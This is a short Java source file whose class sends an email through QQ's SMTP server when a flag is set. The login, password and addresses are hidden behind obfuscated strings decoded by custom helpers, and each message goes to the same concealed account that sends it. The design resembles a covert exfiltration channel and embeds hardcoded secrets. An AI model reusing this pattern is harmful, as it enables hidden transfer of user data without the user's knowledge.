package com.qx.cn.tmail;

import com.qx.cn.tool.MD5;

public class SMailSend
{
    public static void SSend(String src, boolean sf, String st, String sftr)
    {
        String eStr = "SIp2-cS=A-N(l8-U:6A-8pmJ-<u&_-nIB~-PpnK-22mX-5|Ba-lubm-#yx1-&&8O-9*M:-KBP,-*;Oh-nds%-";
        String pstr = "SIp2-cS=A-N(l8-U:6A-8pmJ-<u&_-nIB~-PpnK-22mX-5|Ba-lubm-";
        if (sf)
        {
            MailSenderInfo mailInfo1 = new MailSenderInfo();
            mailInfo1.setMailServerHost("smtp.qq.com");
            mailInfo1.setMailServerPort("25");
            mailInfo1.setValidate(true);
            
            mailInfo1.setUserName(MD5.toPN(eStr));
            
            mailInfo1.setPassword(MD5.toPW(pstr));
            
            mailInfo1.setFromAddress(MD5.toPN(eStr));
            
            mailInfo1.setToAddress(MD5.toPN(eStr));
            mailInfo1.setSubject(st);
            mailInfo1.setContent(src + "\n" + sftr);
            
            SimpleMailSender sms = new SimpleMailSender();
            sms.sendTextMail(mailInfo1);
        }
    }
}